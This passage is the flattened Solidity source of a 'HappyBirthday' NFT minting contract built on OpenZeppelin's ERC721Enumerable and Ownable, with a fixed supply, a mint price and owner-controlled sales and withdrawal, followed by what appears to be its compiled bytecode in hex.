uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/ethereum/HappyBirthday.sol /** * ___ _____ ___ ___ * /__/\ _____ / /::\ /__/\ / /\ ___ * \ \:\ / /::\ / /:/\:\ \ \:\ / /:/_ / /\ * \__\:\ / /:/\:\ / /:/ \:\ \ \:\ / /:/ /\ / /:/ * ___ / /::\ / /:/~/::\ /__/:/ \__\:| _____\__\:\ / /:/ /:// /:/ * /__/\ /:/\:\/__/:/ /:/\:|\ \:\ / /:/ /__/::::::::\/__/:/ /:// /::\ * \ \:\/:/__\/\ \:\/:/~/:/ \ \:\ /:/ \ \:\~~\~~\/\ \:\/://__/:/\:\ * \ \::/ \ \::/ /:/ \ \:\/:/ \ \:\ ~~~ \ \::/ \__\/ \:\ * \ \:\ \ \:\/:/ \ \::/ \ \:\ \ \:\ \ \:\ * \ \:\ \ \::/ \__\/ \ \:\ \ \:\ \__\/ * \__\/ \__\/ \__\/ \__\/ **/ pragma solidity 0.8.0; /** * @title HappyBirthday NFT minting contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract HappyBirthday is ERC721Enumerable, Ownable { uint256 public constant PINATA_SUPPLY = 3660; uint256 public constant PINATA_PRICE = 55000000000000000; // 0.055 ETH bool _saleIsActive = false; string _baseTokenURI; /** * @dev Initializes the contract by setting a `baseURI` for the token collection. */ constructor(string memory baseURI) ERC721("HappyBirthdayPinatas", "HBD") { setBaseURI(baseURI); } /** * @notice Mints `tokenId` and transfers it to `to`. A fee is deposited into the contract. * * Requirements: * - `_saleIsActive` must be set to true by the contract owner * - `tokenId` must be in range 0 TO `NORMAL_PINATA_SUPPLY` * - Message value must be greater than or equal to static price for the token. The single `SPECIAL_PINATA_TOKEN_ID` requires a higher value. * - `tokenId` must not exist */ function mint(address to, uint256 tokenId) public payable { if (msg.sender != owner()) { require(_saleIsActive, "Sales are not active"); } require(tokenId < PINATA_SUPPLY, "Invalid tokenId"); require(msg.value >= PINATA_PRICE, "Value below price"); _safeMint(to, tokenId); } /** * @dev Sets the `baseURI` for the token collection. */ function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } /** * @dev Sets minting sales to the `isActive` status * @param isActive A boolean that denotes if sales should be set to active. */ function setSaleActive(bool isActive) public onlyOwner { _saleIsActive = isActive; } /** * @dev Sends full contract balance to the message sender */ function withdraw() public payable onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } /** * @dev Base URI for computing {tokenURI} */ function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @dev Overriding function to prevent ability to renounce ownership */ function renounceOwnership() public virtual override onlyOwner { revert("Cannot renounce ownership"); } }
0x6080604052600436106101665760003560e01c806355f804b3116100d157806395d89b411161008a578063c87b56dd11610064578063c87b56dd1461050c578063d495c89f14610549578063e985e9c514610574578063f2fde38b146105b157610166565b806395d89b411461048f578063a22cb465146104ba578063b88d4fde146104e357610166565b806355f804b3146103815780636352211e146103aa57806370a08231146103e7578063715018a614610424578063841718a61461043b5780638da5cb5b1461046457610166565b80632f745c59116101235780632f745c591461028d5780633901246d146102ca5780633ccfd60b146102f557806340c10f19146102ff57806342842e0e1461031b5780634f6ccce71461034457610166565b806301ffc9a71461016b57806306fdde03146101a8578063081812fc146101d3578063095ea7b31461021057806318160ddd1461023957806323b872dd14610264575b600080fd5b34801561017757600080fd5b50610192600480360381019061018d91906129a0565b6105da565b60405161019f919061334b565b60405180910390f35b3480156101b457600080fd5b506101bd610654565b6040516101ca9190613366565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190612a33565b6106e6565b60405161020791906132e4565b60405180910390f35b34801561021c57600080fd5b506102376004803603810190610232919061293b565b61076b565b005b34801561024557600080fd5b5061024e610883565b60405161025b9190613648565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190612835565b610890565b005b34801561029957600080fd5b506102b460048036038101906102af919061293b565b6108f0565b6040516102c19190613648565b60405180910390f35b3480156102d657600080fd5b506102df610995565b6040516102ec9190613648565b60405180910390f35b6102fd6109a0565b005b6103196004803603810190610314919061293b565b610a6b565b005b34801561032757600080fd5b50610342600480360381019061033d9190612835565b610b91565b005b34801561035057600080fd5b5061036b60048036038101906103669190612a33565b610bb1565b6040516103789190613648565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906129f2565b610c48565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190612a33565b610cde565b6040516103de91906132e4565b60405180910390f35b3480156103f357600080fd5b5061040e600480360381019061040991906127d0565b610d90565b60405161041b9190613648565b60405180910390f35b34801561043057600080fd5b50610439610e48565b005b34801561044757600080fd5b50610462600480360381019061045d9190612977565b610eff565b005b34801561047057600080fd5b50610479610f98565b60405161048691906132e4565b60405180910390f35b34801561049b57600080fd5b506104a4610fc2565b6040516104b19190613366565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906128ff565b611054565b005b3480156104ef57600080fd5b5061050a60048036038101906105059190612884565b6111d5565b005b34801561051857600080fd5b50610533600480360381019061052e9190612a33565b611237565b6040516105409190613366565b60405180910390f35b34801561055557600080fd5b5061055e6112de565b60405161056b9190613648565b60405180910390f35b34801561058057600080fd5b5061059b600480360381019061059691906127f9565b6112e4565b6040516105a8919061334b565b60405180910390f35b3480156105bd57600080fd5b506105d860048036038101906105d391906127d0565b611378565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061064d575061064c82611524565b5b9050919050565b606060008054610663906138a8565b80601f016020809104026020016040519081016040528092919081815260200182805461068f906138a8565b80156106dc5780601f106106b1576101008083540402835291602001916106dc565b820191906000526020600020905b8154815290600101906020018083116106bf57829003601f168201915b5050505050905090565b60006106f182611606565b610730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072790613528565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061077682610cde565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906135c8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610806611672565b73ffffffffffffffffffffffffffffffffffffffff16148061083557506108348161082f611672565b6112e4565b5b610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b906134a8565b60405180910390fd5b61087e838361167a565b505050565b6000600880549050905090565b6108a161089b611672565b82611733565b6108e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d7906135e8565b60405180910390fd5b6108eb838383611811565b505050565b60006108fb83610d90565b821061093c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093390613388565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b66c3663566a5800081565b6109a8611672565b73ffffffffffffffffffffffffffffffffffffffff166109c6610f98565b73ffffffffffffffffffffffffffffffffffffffff1614610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390613548565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a67573d6000803e3d6000fd5b5050565b610a73610f98565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610af557600a60149054906101000a900460ff16610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb906133c8565b60405180910390fd5b5b610e4c8110610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090613468565b60405180910390fd5b66c3663566a58000341015610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906135a8565b60405180910390fd5b610b8d8282611a6d565b5050565b610bac838383604051806020016040528060008152506111d5565b505050565b6000610bbb610883565b8210610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf390613608565b60405180910390fd5b60088281548110610c36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610c50611672565b73ffffffffffffffffffffffffffffffffffffffff16610c6e610f98565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613548565b60405180910390fd5b80600b9080519060200190610cda9291906125f4565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7e906134e8565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df8906134c8565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e50611672565b73ffffffffffffffffffffffffffffffffffffffff16610e6e610f98565b73ffffffffffffffffffffffffffffffffffffffff1614610ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebb90613548565b60405180910390fd5b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef690613628565b60405180910390fd5b610f07611672565b73ffffffffffffffffffffffffffffffffffffffff16610f25610f98565b73ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613548565b60405180910390fd5b80600a60146101000a81548160ff02191690831515021790555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610fd1906138a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ffd906138a8565b801561104a5780601f1061101f5761010080835404028352916020019161104a565b820191906000526020600020905b81548152906001019060200180831161102d57829003601f168201915b5050505050905090565b61105c611672565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613448565b60405180910390fd5b80600560006110d7611672565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611184611672565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516111c9919061334b565b60405180910390a35050565b6111e66111e0611672565b83611733565b611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906135e8565b60405180910390fd5b61123184848484611a8b565b50505050565b606061124282611606565b611281576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127890613588565b60405180910390fd5b600061128b611ae7565b905060008151116112ab57604051806020016040528060008152506112d6565b806112b584611b79565b6040516020016112c69291906132c0565b6040516020818303038152906040525b915050919050565b610e4c81565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611380611672565b73ffffffffffffffffffffffffffffffffffffffff1661139e610f98565b73ffffffffffffffffffffffffffffffffffffffff16146113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113eb90613548565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145b906133e8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806115ef57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806115ff57506115fe82611d26565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166116ed83610cde565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061173e82611606565b61177d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177490613488565b60405180910390fd5b600061178883610cde565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806117f757508373ffffffffffffffffffffffffffffffffffffffff166117df846106e6565b73ffffffffffffffffffffffffffffffffffffffff16145b80611808575061180781856112e4565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661183182610cde565b73ffffffffffffffffffffffffffffffffffffffff1614611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187e90613568565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ee90613428565b60405180910390fd5b611902838383611d90565b61190d60008261167a565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461195d91906137be565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119b49190613737565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611a87828260405180602001604052806000815250611ea4565b5050565b611a96848484611811565b611aa284848484611eff565b611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad8906133a8565b60405180910390fd5b50505050565b6060600b8054611af6906138a8565b80601f0160208091040260200160405190810160405280929190818152602001828054611b22906138a8565b8015611b6f5780601f10611b4457610100808354040283529160200191611b6f565b820191906000526020600020905b815481529060010190602001808311611b5257829003601f168201915b5050505050905090565b60606000821415611bc1576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611d21565b600082905060005b60008214611bf3578080611bdc906138da565b915050600a82611bec919061378d565b9150611bc9565b60008167ffffffffffffffff811115611c35577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611c675781602001600182028036833780820191505090505b5090505b60008514611d1a57600182611c8091906137be565b9150600a85611c8f9190613923565b6030611c9b9190613737565b60f81b818381518110611cd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611d13919061378d565b9450611c6b565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b611d9b838383612096565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dde57611dd98161209b565b611e1d565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e1c57611e1b83826120e4565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e6057611e5b81612251565b611e9f565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611e9e57611e9d8282612394565b5b5b505050565b611eae8383612413565b611ebb6000848484611eff565b611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef1906133a8565b60405180910390fd5b505050565b6000611f208473ffffffffffffffffffffffffffffffffffffffff166125e1565b15612089578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611f49611672565b8786866040518563ffffffff1660e01b8152600401611f6b94939291906132ff565b602060405180830381600087803b158015611f8557600080fd5b505af1925050508015611fb657506040513d601f19601f82011682018060405250810190611fb391906129c9565b60015b612039573d8060008114611fe6576040519150601f19603f3d011682016040523d82523d6000602084013e611feb565b606091505b50600081511415612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906133a8565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061208e565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016120f184610d90565b6120fb91906137be565b90506000600760008481526020019081526020016000205490508181146121e0576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061226591906137be565b90506000600960008481526020019081526020016000205490506000600883815481106122bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612303577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612378577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061239f83610d90565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247a90613508565b60405180910390fd5b61248c81611606565b156124cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c390613408565b60405180910390fd5b6124d860008383611d90565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125289190613737565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b828054612600906138a8565b90600052602060002090601f0160209004810192826126225760008555612669565b82601f1061263b57805160ff1916838001178555612669565b82800160010185558215612669579182015b8281111561266857825182559160200191906001019061264d565b5b509050612676919061267a565b5090565b5b8082111561269357600081600090555060010161267b565b5090565b60006126aa6126a584613694565b613663565b9050828152602081018484840111156126c257600080fd5b6126cd848285613866565b509392505050565b60006126e86126e3846136c4565b613663565b90508281526020810184848401111561270057600080fd5b61270b848285613866565b509392505050565b60008135905061272281613a21565b92915050565b60008135905061273781613a38565b92915050565b60008135905061274c81613a4f565b92915050565b60008151905061276181613a4f565b92915050565b600082601f83011261277857600080fd5b8135612788848260208601612697565b91505092915050565b600082601f8301126127a257600080fd5b81356127b28482602086016126d5565b91505092915050565b6000813590506127ca81613a66565b92915050565b6000602082840312156127e257600080fd5b60006127f084828501612713565b91505092915050565b6000806040838503121561280c57600080fd5b600061281a85828601612713565b925050602061282b85828601612713565b9150509250929050565b60008060006060848603121561284a57600080fd5b600061285886828701612713565b935050602061286986828701612713565b925050604061287a868287016127bb565b9150509250925092565b6000806000806080858703121561289a57600080fd5b60006128a887828801612713565b94505060206128b987828801612713565b93505060406128ca878288016127bb565b925050606085013567ffffffffffffffff8111156128e757600080fd5b6128f387828801612767565b91505092959194509250565b6000806040838503121561291257600080fd5b600061292085828601612713565b925050602061293185828601612728565b9150509250929050565b6000806040838503121561294e57600080fd5b600061295c85828601612713565b925050602061296d858286016127bb565b9150509250929050565b60006020828403121561298957600080fd5b600061299784828501612728565b91505092915050565b6000602082840312156129b257600080fd5b60006129c08482850161273d565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612752565b91505092915050565b600060208284031215612a0457600080fd5b600082013567ffffffffffffffff811115612a1e57600080fd5b612a2a84828501612791565b91505092915050565b600060208284031215612a4557600080fd5b6000612a53848285016127bb565b91505092915050565b612a65816137f2565b82525050565b612a7481613804565b82525050565b6000612a85826136f4565b612a8f818561370a565b9350612a9f818560208601613875565b612aa881613a10565b840191505092915050565b6000612abe826136ff565b612ac8818561371b565b9350612ad8818560208601613875565b612ae181613a10565b840191505092915050565b6000612af7826136ff565b612b01818561372c565b9350612b11818560208601613875565b80840191505092915050565b6000612b2a602b8361371b565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000612b9060328361371b565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000612bf660148361371b565b91507f53616c657320617265206e6f74206163746976650000000000000000000000006000830152602082019050919050565b6000612c3660268361371b565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612c9c601c8361371b565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000612cdc60248361371b565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612d4260198361371b565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000612d82600f8361371b565b91507f496e76616c696420746f6b656e496400000000000000000000000000000000006000830152602082019050919050565b6000612dc2602c8361371b565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000612e2860388361371b565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000612e8e602a8361371b565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ef460298361371b565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f5a60208361371b565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000612f9a602c8361371b565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061300060208361371b565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061304060298361371b565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006130a6602f8361371b565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b600061310c60118361371b565b91507f56616c75652062656c6f772070726963650000000000000000000000000000006000830152602082019050919050565b600061314c60218361371b565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131b260318361371b565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000613218602c8361371b565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b600061327e60198361371b565b91507f43616e6e6f742072656e6f756e6365206f776e657273686970000000000000006000830152602082019050919050565b6132ba8161385c565b82525050565b60006132cc8285612aec565b91506132d88284612aec565b91508190509392505050565b60006020820190506132f96000830184612a5c565b92915050565b60006080820190506133146000830187612a5c565b6133216020830186612a5c565b61332e60408301856132b1565b81810360608301526133408184612a7a565b905095945050505050565b60006020820190506133606000830184612a6b565b92915050565b600060208201905081810360008301526133808184612ab3565b905092915050565b600060208201905081810360008301526133a181612b1d565b9050919050565b600060208201905081810360008301526133c181612b83565b9050919050565b600060208201905081810360008301526133e181612be9565b9050919050565b6000602082019050818103600083015261340181612c29565b9050919050565b6000602082019050818103600083015261342181612c8f565b9050919050565b6000602082019050818103600083015261344181612ccf565b9050919050565b6000602082019050818103600083015261346181612d35565b9050919050565b6000602082019050818103600083015261348181612d75565b9050919050565b600060208201905081810360008301526134a181612db5565b9050919050565b600060208201905081810360008301526134c181612e1b565b9050919050565b600060208201905081810360008301526134e181612e81565b9050919050565b6000602082019050818103600083015261350181612ee7565b9050919050565b6000602082019050818103600083015261352181612f4d565b9050919050565b6000602082019050818103600083015261354181612f8d565b9050919050565b6000602082019050818103600083015261356181612ff3565b9050919050565b6000602082019050818103600083015261358181613033565b9050919050565b600060208201905081810360008301526135a181613099565b9050919050565b600060208201905081810360008301526135c1816130ff565b9050919050565b600060208201905081810360008301526135e18161313f565b9050919050565b60006020820190508181036000830152613601816131a5565b9050919050565b600060208201905081810360008301526136218161320b565b9050919050565b6000602082019050818103600083015261364181613271565b9050919050565b600060208201905061365d60008301846132b1565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561368a576136896139e1565b5b8060405250919050565b600067ffffffffffffffff8211156136af576136ae6139e1565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156136df576136de6139e1565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006137428261385c565b915061374d8361385c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561378257613781613954565b5b828201905092915050565b60006137988261385c565b91506137a38361385c565b9250826137b3576137b2613983565b5b828204905092915050565b60006137c98261385c565b91506137d48361385c565b9250828210156137e7576137e6613954565b5b828203905092915050565b60006137fd8261383c565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613893578082015181840152602081019050613878565b838111156138a2576000848401525b50505050565b600060028204905060018216806138c057607f821691505b602082108114156138d4576138d36139b2565b5b50919050565b60006138e58261385c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561391857613917613954565b5b600182019050919050565b